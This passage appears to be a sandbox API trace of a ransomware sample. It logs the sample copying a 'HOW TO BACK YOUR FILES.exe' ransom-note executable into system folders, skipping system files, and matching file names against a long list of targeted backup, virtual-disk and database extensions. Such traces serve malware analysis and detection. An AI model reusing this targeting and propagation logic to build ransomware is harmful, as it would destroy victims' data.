(lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.645] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0098.645] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.645] ReleaseMutex (hMutex=0xec) returned 1 [0098.645] CloseHandle (hObject=0xec) returned 1 [0098.645] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0098.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514cf8 | out: hHeap=0x4f0000) returned 1 [0098.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ad28 | out: hHeap=0x4f0000) returned 1 [0098.645] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 67 [0098.645] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5369DF13A4A4F0A9260E0466338C9AEA") returned 0xec [0098.645] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.645] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0098.645] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.645] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.646] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.646] GetLastError () returned 0x0 [0098.646] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f220 [0098.646] ReadFile (in: hFile=0xf4, lpBuffer=0x53f220, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f220*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.647] CloseHandle (hObject=0xf4) returned 1 [0098.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f220 | out: hHeap=0x4f0000) returned 1 [0098.647] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.647] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.647] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.647] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.647] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.647] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.648] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.648] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.648] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.648] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.648] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bee480, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.648] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.648] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfe3882c0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0098.648] lstrcmpiW (lpString1="state.rsm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.648] lstrcmpiW (lpString1="state.rsm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.648] lstrcmpiW (lpString1="state.rsm", lpString2=".") returned 1 [0098.648] lstrcmpiW (lpString1="state.rsm", lpString2="..") returned 1 [0098.648] lstrcmpiW (lpString1="state.rsm", lpString2="windows") returned -1 [0098.648] lstrcmpiW (lpString1="state.rsm", lpString2="bootmgr") returned 1 [0098.648] lstrcmpiW (lpString1="state.rsm", lpString2="temp") returned -1 [0098.648] lstrcmpiW (lpString1="state.rsm", lpString2="pagefile.sys") returned 1 [0098.648] lstrcmpiW (lpString1="state.rsm", lpString2="boot") returned 1 [0098.648] lstrcmpiW (lpString1="state.rsm", lpString2="ids.txt") returned 1 [0098.648] lstrcmpiW (lpString1="state.rsm", lpString2="ntuser.dat") returned 1 [0098.648] lstrcmpiW (lpString1="state.rsm", lpString2="perflogs") returned 1 [0098.648] lstrcmpiW (lpString1="state.rsm", lpString2="MSBuild") returned 1 [0098.648] lstrlenW (lpString="state.rsm") returned 9 [0098.648] lstrcpyW (in: lpString1=0x241e8d0, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm" [0098.648] lstrlenW (lpString="state.rsm") returned 9 [0098.648] lstrlenW (lpString="Athena865") returned 9 [0098.648] lstrlenW (lpString=".dll") returned 4 [0098.648] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1 [0098.648] lstrlenW (lpString=".lnk") returned 4 [0098.649] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1 [0098.649] lstrlenW (lpString=".ini") returned 4 [0098.649] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1 [0098.649] lstrlenW (lpString=".sys") returned 4 [0098.649] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1 [0098.649] lstrlenW (lpString="state.rsm") returned 9 [0098.649] lstrlenW (lpString="bak") returned 3 [0098.649] lstrcmpiW (lpString1="rsm", lpString2="bak") returned 1 [0098.649] lstrlenW (lpString="ba_") returned 3 [0098.649] lstrcmpiW (lpString1="rsm", lpString2="ba_") returned 1 [0098.649] lstrlenW (lpString="dbb") returned 3 [0098.649] lstrcmpiW (lpString1="rsm", lpString2="dbb") returned 1 [0098.649] lstrlenW (lpString="vmdk") returned 4 [0098.649] lstrcmpiW (lpString1=".rsm", lpString2="vmdk") returned -1 [0098.649] lstrlenW (lpString="rar") returned 3 [0098.649] lstrcmpiW (lpString1="rsm", lpString2="rar") returned 1 [0098.649] lstrlenW (lpString="zip") returned 3 [0098.649] lstrcmpiW (lpString1="rsm", lpString2="zip") returned -1 [0098.649] lstrlenW (lpString="tgz") returned 3 [0098.649] lstrcmpiW (lpString1="rsm", lpString2="tgz") returned -1 [0098.649] lstrlenW (lpString="vbox") returned 4 [0098.649] lstrcmpiW (lpString1=".rsm", lpString2="vbox") returned -1 [0098.649] lstrlenW (lpString="vdi") returned 3 [0098.649] lstrcmpiW (lpString1="rsm", lpString2="vdi") returned -1 [0098.649] lstrlenW (lpString="vhd") returned 3 [0098.649] lstrcmpiW (lpString1="rsm", lpString2="vhd") returned -1 [0098.649] lstrlenW (lpString="vhdx") returned 4 [0098.649] lstrcmpiW (lpString1=".rsm", lpString2="vhdx") returned -1 [0098.649] lstrlenW (lpString="avhd") returned 4 [0098.650] lstrcmpiW (lpString1=".rsm", lpString2="avhd") returned -1 [0098.650] lstrlenW (lpString="db") returned 2 [0098.650] lstrcmpiW (lpString1="sm", lpString2="db") returned 1 [0098.650] lstrlenW (lpString="db2") returned 3 [0098.650] lstrcmpiW (lpString1="rsm", lpString2="db2") returned 1 [0098.650] lstrlenW (lpString="db3") returned 3 [0098.650] lstrcmpiW (lpString1="rsm", lpString2="db3") returned 1 [0098.650] lstrlenW (lpString="dbf") returned 3 [0098.650] lstrcmpiW (lpString1="rsm", lpString2="dbf") returned 1 [0098.650] lstrlenW (lpString="mdf") returned 3 [0098.650] lstrcmpiW (lpString1="rsm", lpString2="mdf") returned 1 [0098.650] lstrlenW (lpString="mdb") returned 3 [0098.650] lstrcmpiW (lpString1="rsm", lpString2="mdb") returned 1 [0098.650] lstrlenW (lpString="sql") returned 3 [0098.650] lstrcmpiW (lpString1="rsm", lpString2="sql") returned -1 [0098.650] lstrlenW (lpString="sqlite") returned 6 [0098.650] lstrcmpiW (lpString1="te.rsm", lpString2="sqlite") returned 1 [0098.650] lstrlenW (lpString="sqlite3") returned 7 [0098.650] lstrcmpiW (lpString1="ate.rsm", lpString2="sqlite3") returned -1 [0098.650] lstrlenW (lpString="sqlitedb") returned 8 [0098.650] lstrcmpiW (lpString1="tate.rsm", lpString2="sqlitedb") returned 1 [0098.650] lstrlenW (lpString="xml") returned 3 [0098.650] lstrcmpiW (lpString1="rsm", lpString2="xml") returned -1 [0098.650] lstrlenW (lpString="$er") returned 3 [0098.650] lstrcmpiW (lpString1="rsm", lpString2="$er") returned 1 [0098.650] lstrlenW (lpString="4dd") returned 3 [0098.650] lstrcmpiW (lpString1="rsm", lpString2="4dd") returned 1 [0098.650] lstrlenW (lpString="4dl") returned 3 [0098.650] lstrcmpiW (lpString1="rsm", lpString2="4dl") returned 1 [0098.650] lstrlenW (lpString="^^^") returned 3 [0098.651] lstrcmpiW (lpString1="rsm", lpString2="^^^") returned 1 [0098.651] lstrlenW (lpString="abs") returned 3 [0098.651] lstrcmpiW (lpString1="rsm", lpString2="abs") returned 1 [0098.651] lstrlenW (lpString="abx") returned 3 [0098.651] lstrcmpiW (lpString1="rsm", lpString2="abx") returned 1 [0098.651] lstrlenW (lpString="accdb") returned 5 [0098.651] lstrcmpiW (lpString1="e.rsm", lpString2="accdb") returned 1 [0098.651] lstrlenW (lpString="accdc") returned 5 [0098.651] lstrcmpiW (lpString1="e.rsm", lpString2="accdc") returned 1 [0098.651] lstrlenW (lpString="accde") returned 5 [0098.651] lstrcmpiW (lpString1="e.rsm", lpString2="accde") returned 1 [0098.651] lstrlenW (lpString="accdr") returned 5 [0098.651] lstrcmpiW (lpString1="e.rsm", lpString2="accdr") returned 1 [0098.651] lstrlenW (lpString="accdt") returned 5 [0098.651] lstrcmpiW (lpString1="e.rsm", lpString2="accdt") returned 1 [0098.651] lstrlenW (lpString="accdw") returned 5 [0098.651] lstrcmpiW (lpString1="e.rsm", lpString2="accdw") returned 1 [0098.651] lstrlenW (lpString="accft") returned 5 [0098.651] lstrcmpiW (lpString1="e.rsm", lpString2="accft") returned 1 [0098.651] lstrlenW (lpString="adb") returned 3 [0098.651] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1 [0098.651] lstrlenW (lpString="adb") returned 3 [0098.651] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1 [0098.651] lstrlenW (lpString="ade") returned 3 [0098.651] lstrcmpiW (lpString1="rsm", lpString2="ade") returned 1 [0098.651] lstrlenW (lpString="adf") returned 3 [0098.651] lstrcmpiW (lpString1="rsm", lpString2="adf") returned 1 [0098.651] lstrlenW (lpString="adn") returned 3 [0098.651] lstrcmpiW (lpString1="rsm", lpString2="adn") returned 1 [0098.652] lstrlenW (lpString="adp") returned 3 [0098.652] lstrcmpiW (lpString1="rsm", lpString2="adp") returned 1 [0098.652] lstrlenW (lpString="alf") returned 3 [0098.652] lstrcmpiW (lpString1="rsm", lpString2="alf") returned 1 [0098.652] lstrlenW (lpString="ask") returned 3 [0098.652] lstrcmpiW (lpString1="rsm", lpString2="ask") returned 1 [0098.652] lstrlenW (lpString="btr") returned 3 [0098.652] lstrcmpiW (lpString1="rsm", lpString2="btr") returned 1 [0098.652] lstrlenW (lpString="cat") returned 3 [0098.652] lstrcmpiW (lpString1="rsm", lpString2="cat") returned 1 [0098.652] lstrlenW (lpString="cdb") returned 3 [0098.652] lstrcmpiW (lpString1="rsm", lpString2="cdb") returned 1 [0098.652] lstrlenW (lpString="ckp") returned 3 [0098.652] lstrcmpiW (lpString1="rsm", lpString2="ckp") returned 1 [0098.652] lstrlenW (lpString="cma") returned 3 [0098.652] lstrcmpiW (lpString1="rsm", lpString2="cma") returned 1 [0098.652] lstrlenW (lpString="cpd") returned 3 [0098.652] lstrcmpiW (lpString1="rsm", lpString2="cpd") returned 1 [0098.652] lstrlenW (lpString="dacpac") returned 6 [0098.652] lstrcmpiW (lpString1="te.rsm", lpString2="dacpac") returned 1 [0098.652] lstrlenW (lpString="dad") returned 3 [0098.652] lstrcmpiW (lpString1="rsm", lpString2="dad") returned 1 [0098.652] lstrlenW (lpString="dadiagrams") returned 10 [0098.652] lstrlenW (lpString="daschema") returned 8 [0098.652] lstrcmpiW (lpString1="tate.rsm", lpString2="daschema") returned 1 [0098.652] lstrlenW (lpString="db-journal") returned 10 [0098.652] lstrlenW (lpString="db-shm") returned 6 [0098.652] lstrcmpiW (lpString1="te.rsm", lpString2="db-shm") returned 1 [0098.652] lstrlenW (lpString="db-wal") returned 6 [0098.653] lstrcmpiW (lpString1="te.rsm", lpString2="db-wal") returned 1 [0098.653] lstrlenW (lpString="dbc") returned 3 [0098.653] lstrcmpiW (lpString1="rsm", lpString2="dbc") returned 1 [0098.653] lstrlenW (lpString="dbs") returned 3 [0098.653] lstrcmpiW (lpString1="rsm", lpString2="dbs") returned 1 [0098.653] lstrlenW (lpString="dbt") returned 3 [0098.653] lstrcmpiW (lpString1="rsm", lpString2="dbt") returned 1 [0098.653] lstrlenW (lpString="dbv") returned 3 [0098.653] lstrcmpiW (lpString1="rsm", lpString2="dbv") returned 1 [0098.653] lstrlenW (lpString="dbx") returned 3 [0098.653] lstrcmpiW (lpString1="rsm", lpString2="dbx") returned 1 [0098.653] lstrlenW (lpString="dcb") returned 3 [0098.653] lstrcmpiW (lpString1="rsm", lpString2="dcb") returned 1 [0098.653] lstrlenW (lpString="dct") returned 3 [0098.653] lstrcmpiW (lpString1="rsm", lpString2="dct") returned 1 [0098.653] lstrlenW (lpString="dcx") returned 3 [0098.653] lstrcmpiW (lpString1="rsm", lpString2="dcx") returned 1 [0098.653] lstrlenW (lpString="ddl") returned 3 [0098.653] lstrcmpiW (lpString1="rsm", lpString2="ddl") returned 1 [0098.653] lstrlenW (lpString="dlis") returned 4 [0098.653] lstrcmpiW (lpString1=".rsm", lpString2="dlis") returned -1 [0098.653] lstrlenW (lpString="dp1") returned 3 [0098.653] lstrcmpiW (lpString1="rsm", lpString2="dp1") returned 1 [0098.653] lstrlenW (lpString="dqy") returned 3 [0098.653] lstrcmpiW (lpString1="rsm", lpString2="dqy") returned 1 [0098.653] lstrlenW (lpString="dsk") returned 3 [0098.653] lstrcmpiW (lpString1="rsm", lpString2="dsk") returned 1 [0098.653] lstrlenW (lpString="dsn") returned 3 [0098.653] lstrcmpiW (lpString1="rsm", lpString2="dsn") returned 1 [0098.654] lstrlenW (lpString="dtsx") returned 4 [0098.654] lstrcmpiW (lpString1=".rsm", lpString2="dtsx") returned -1 [0098.654] lstrlenW (lpString="dxl") returned 3 [0098.654] lstrcmpiW (lpString1="rsm", lpString2="dxl") returned 1 [0098.654] lstrlenW (lpString="eco") returned 3 [0098.654] lstrcmpiW (lpString1="rsm", lpString2="eco") returned 1 [0098.654] lstrlenW (lpString="ecx") returned 3 [0098.654] lstrcmpiW (lpString1="rsm", lpString2="ecx") returned 1 [0098.654] lstrlenW (lpString="edb") returned 3 [0098.654] lstrcmpiW (lpString1="rsm", lpString2="edb") returned 1 [0098.654] lstrlenW (lpString="epim") returned 4 [0098.654] lstrcmpiW (lpString1=".rsm", lpString2="epim") returned -1 [0098.654] lstrlenW (lpString="fcd") returned 3 [0098.654] lstrcmpiW (lpString1="rsm", lpString2="fcd") returned 1 [0098.654] lstrlenW (lpString="fdb") returned 3 [0098.654] lstrcmpiW (lpString1="rsm", lpString2="fdb") returned 1 [0098.654] lstrlenW (lpString="fic") returned 3 [0098.654] lstrcmpiW (lpString1="rsm", lpString2="fic") returned 1 [0098.654] lstrlenW (lpString="flexolibrary") returned 12 [0098.654] lstrlenW (lpString="fm5") returned 3 [0098.654] lstrcmpiW (lpString1="rsm", lpString2="fm5") returned 1 [0098.654] lstrlenW (lpString="fmp") returned 3 [0098.654] lstrcmpiW (lpString1="rsm", lpString2="fmp") returned 1 [0098.654] lstrlenW (lpString="fmp12") returned 5 [0098.654] lstrcmpiW (lpString1="e.rsm", lpString2="fmp12") returned -1 [0098.654] lstrlenW (lpString="fmpsl") returned 5 [0098.654] lstrcmpiW (lpString1="e.rsm", lpString2="fmpsl") returned -1 [0098.654] lstrlenW (lpString="fol") returned 3 [0098.654] lstrcmpiW (lpString1="rsm", lpString2="fol") returned 1 [0098.655] lstrlenW (lpString="fp3") returned 3 [0098.655] lstrcmpiW (lpString1="rsm", lpString2="fp3") returned 1 [0098.655] lstrlenW (lpString="fp4") returned 3 [0098.655] lstrcmpiW (lpString1="rsm", lpString2="fp4") returned 1 [0098.655] lstrlenW (lpString="fp5") returned 3 [0098.655] lstrcmpiW (lpString1="rsm", lpString2="fp5") returned 1 [0098.655] lstrlenW (lpString="fp7") returned 3 [0098.655] lstrcmpiW (lpString1="rsm", lpString2="fp7") returned 1 [0098.655] lstrlenW (lpString="fpt") returned 3 [0098.655] lstrcmpiW (lpString1="rsm", lpString2="fpt") returned 1 [0098.655] lstrlenW (lpString="frm") returned 3 [0098.655] lstrcmpiW (lpString1="rsm", lpString2="frm") returned 1 [0098.655] lstrlenW (lpString="gdb") returned 3 [0098.655] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1 [0098.655] lstrlenW (lpString="gdb") returned 3 [0098.655] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1 [0098.655] lstrlenW (lpString="grdb") returned 4 [0098.655] lstrcmpiW (lpString1=".rsm", lpString2="grdb") returned -1 [0098.655] lstrlenW (lpString="gwi") returned 3 [0098.655] lstrcmpiW (lpString1="rsm", lpString2="gwi") returned 1 [0098.655] lstrlenW (lpString="hdb") returned 3 [0098.655] lstrcmpiW (lpString1="rsm", lpString2="hdb") returned 1 [0098.655] lstrlenW (lpString="his") returned 3 [0098.655] lstrcmpiW (lpString1="rsm", lpString2="his") returned 1 [0098.655] lstrlenW (lpString="ib") returned 2 [0098.655] lstrcmpiW (lpString1="sm", lpString2="ib") returned 1 [0098.655] lstrlenW (lpString="idb") returned 3 [0098.655] lstrcmpiW (lpString1="rsm", lpString2="idb") returned 1 [0098.655] lstrlenW (lpString="ihx") returned 3 [0098.656] lstrcmpiW (lpString1="rsm", lpString2="ihx") returned 1 [0098.656] lstrlenW (lpString="itdb") returned 4 [0098.656] lstrcmpiW (lpString1=".rsm", lpString2="itdb") returned -1 [0098.656] lstrlenW (lpString="itw") returned 3 [0098.656] lstrcmpiW (lpString1="rsm", lpString2="itw") returned 1 [0098.656] lstrlenW (lpString="jet") returned 3 [0098.656] lstrcmpiW (lpString1="rsm", lpString2="jet") returned 1 [0098.656] lstrlenW (lpString="jtx") returned 3 [0098.656] lstrcmpiW (lpString1="rsm", lpString2="jtx") returned 1 [0098.656] lstrlenW (lpString="kdb") returned 3 [0098.656] lstrcmpiW (lpString1="rsm", lpString2="kdb") returned 1 [0098.656] lstrlenW (lpString="kexi") returned 4 [0098.656] lstrcmpiW (lpString1=".rsm", lpString2="kexi") returned -1 [0098.656] lstrlenW (lpString="kexic") returned 5 [0098.656] lstrcmpiW (lpString1="e.rsm", lpString2="kexic") returned -1 [0098.656] lstrlenW (lpString="kexis") returned 5 [0098.656] lstrcmpiW (lpString1="e.rsm", lpString2="kexis") returned -1 [0098.656] lstrlenW (lpString="lgc") returned 3 [0098.656] lstrcmpiW (lpString1="rsm", lpString2="lgc") returned 1 [0098.656] lstrlenW (lpString="lwx") returned 3 [0098.656] lstrcmpiW (lpString1="rsm", lpString2="lwx") returned 1 [0098.656] lstrlenW (lpString="maf") returned 3 [0098.663] lstrcmpiW (lpString1="rsm", lpString2="maf") returned 1 [0098.663] lstrlenW (lpString="maq") returned 3 [0098.663] lstrcmpiW (lpString1="rsm", lpString2="maq") returned 1 [0098.663] lstrlenW (lpString="mar") returned 3 [0098.663] lstrcmpiW (lpString1="rsm", lpString2="mar") returned 1 [0098.663] lstrlenW (lpString="marshal") returned 7 [0098.663] lstrcmpiW (lpString1="ate.rsm", lpString2="marshal") returned -1 [0098.664] lstrlenW (lpString="mas") returned 3 [0098.664] lstrcmpiW (lpString1="rsm", lpString2="mas") returned 1 [0098.664] lstrlenW (lpString="mav") returned 3 [0098.664] lstrcmpiW (lpString1="rsm", lpString2="mav") returned 1 [0098.664] lstrlenW (lpString="maw") returned 3 [0098.664] lstrcmpiW (lpString1="rsm", lpString2="maw") returned 1 [0098.664] lstrlenW (lpString="mdbhtml") returned 7 [0098.664] lstrcmpiW (lpString1="ate.rsm", lpString2="mdbhtml") returned -1 [0098.664] lstrlenW (lpString="mdn") returned 3 [0098.664] lstrcmpiW (lpString1="rsm", lpString2="mdn") returned 1 [0098.664] lstrlenW (lpString="mdt") returned 3 [0098.664] lstrcmpiW (lpString1="rsm", lpString2="mdt") returned 1 [0098.664] lstrlenW (lpString="mfd") returned 3 [0098.664] lstrcmpiW (lpString1="rsm", lpString2="mfd") returned 1 [0098.664] lstrlenW (lpString="mpd") returned 3 [0098.664] lstrcmpiW (lpString1="rsm", lpString2="mpd") returned 1 [0098.664] lstrlenW (lpString="mrg") returned 3 [0098.664] lstrcmpiW (lpString1="rsm", lpString2="mrg") returned 1 [0098.664] lstrlenW (lpString="mud") returned 3 [0098.664] lstrcmpiW (lpString1="rsm", lpString2="mud") returned 1 [0098.664] lstrlenW (lpString="mwb") returned 3 [0098.664] lstrcmpiW (lpString1="rsm", lpString2="mwb") returned 1 [0098.664] lstrlenW (lpString="myd") returned 3 [0098.664] lstrcmpiW (lpString1="rsm", lpString2="myd") returned 1 [0098.664] lstrlenW (lpString="ndf") returned 3 [0098.664] lstrcmpiW (lpString1="rsm", lpString2="ndf") returned 1 [0098.664] lstrlenW (lpString="nnt") returned 3 [0098.664] lstrcmpiW (lpString1="rsm", lpString2="nnt") returned 1 [0098.665] lstrlenW (lpString="nrmlib") returned 6 [0098.665] lstrcmpiW (lpString1="te.rsm", lpString2="nrmlib") returned 1 [0098.665] lstrlenW (lpString="ns2") returned 3 [0098.665] lstrcmpiW (lpString1="rsm", lpString2="ns2") returned 1 [0098.665] lstrlenW (lpString="ns3") returned 3 [0098.665] lstrcmpiW (lpString1="rsm", lpString2="ns3") returned 1 [0098.665] lstrlenW (lpString="ns4") returned 3 [0098.665] lstrcmpiW (lpString1="rsm", lpString2="ns4") returned 1 [0098.665] lstrlenW (lpString="nsf") returned 3 [0098.665] lstrcmpiW (lpString1="rsm", lpString2="nsf") returned 1 [0098.665] lstrlenW (lpString="nv") returned 2 [0098.665] lstrcmpiW (lpString1="sm", lpString2="nv") returned 1 [0098.665] lstrlenW (lpString="nv2") returned 3 [0098.665] lstrcmpiW (lpString1="rsm", lpString2="nv2") returned 1 [0098.665] lstrlenW (lpString="nwdb") returned 4 [0098.665] lstrcmpiW (lpString1=".rsm", lpString2="nwdb") returned -1 [0098.665] lstrlenW (lpString="nyf") returned 3 [0098.665] lstrcmpiW (lpString1="rsm", lpString2="nyf") returned 1 [0098.665] lstrlenW (lpString="odb") returned 3 [0098.665] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1 [0098.665] lstrlenW (lpString="odb") returned 3 [0098.665] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1 [0098.665] lstrlenW (lpString="oqy") returned 3 [0098.665] lstrcmpiW (lpString1="rsm", lpString2="oqy") returned 1 [0098.665] lstrlenW (lpString="ora") returned 3 [0098.665] lstrcmpiW (lpString1="rsm", lpString2="ora") returned 1 [0098.665] lstrlenW (lpString="orx") returned 3 [0098.665] lstrcmpiW (lpString1="rsm", lpString2="orx") returned 1 [0098.665] lstrlenW (lpString="owc") returned 3 [0098.665] lstrcmpiW (lpString1="rsm", lpString2="owc") returned 1 [0098.666] lstrlenW (lpString="p96") returned 3 [0098.666] lstrcmpiW (lpString1="rsm", lpString2="p96") returned 1 [0098.666] lstrlenW (lpString="p97") returned 3 [0098.666] lstrcmpiW (lpString1="rsm", lpString2="p97") returned 1 [0098.666] lstrlenW (lpString="pan") returned 3 [0098.666] lstrcmpiW (lpString1="rsm", lpString2="pan") returned 1 [0098.666] lstrlenW (lpString="pdb") returned 3 [0098.666] lstrcmpiW (lpString1="rsm", lpString2="pdb") returned 1 [0098.666] lstrlenW (lpString="pdm") returned 3 [0098.666] lstrcmpiW (lpString1="rsm", lpString2="pdm") returned 1 [0098.666] lstrlenW (lpString="pnz") returned 3 [0098.666] lstrcmpiW (lpString1="rsm", lpString2="pnz") returned 1 [0098.666] lstrlenW (lpString="qry") returned 3 [0098.666] lstrcmpiW (lpString1="rsm", lpString2="qry") returned 1 [0098.666] lstrlenW (lpString="qvd") returned 3 [0098.666] lstrcmpiW (lpString1="rsm", lpString2="qvd") returned 1 [0098.666] lstrlenW (lpString="rbf") returned 3 [0098.666] lstrcmpiW (lpString1="rsm", lpString2="rbf") returned 1 [0098.666] lstrlenW (lpString="rctd") returned 4 [0098.666] lstrcmpiW (lpString1=".rsm", lpString2="rctd") returned -1 [0098.666] lstrlenW (lpString="rod") returned 3 [0098.666] lstrcmpiW (lpString1="rsm", lpString2="rod") returned 1 [0098.666] lstrlenW (lpString="rodx") returned 4 [0098.666] lstrcmpiW (lpString1=".rsm", lpString2="rodx") returned -1 [0098.666] lstrlenW (lpString="rpd") returned 3 [0098.666] lstrcmpiW (lpString1="rsm", lpString2="rpd") returned 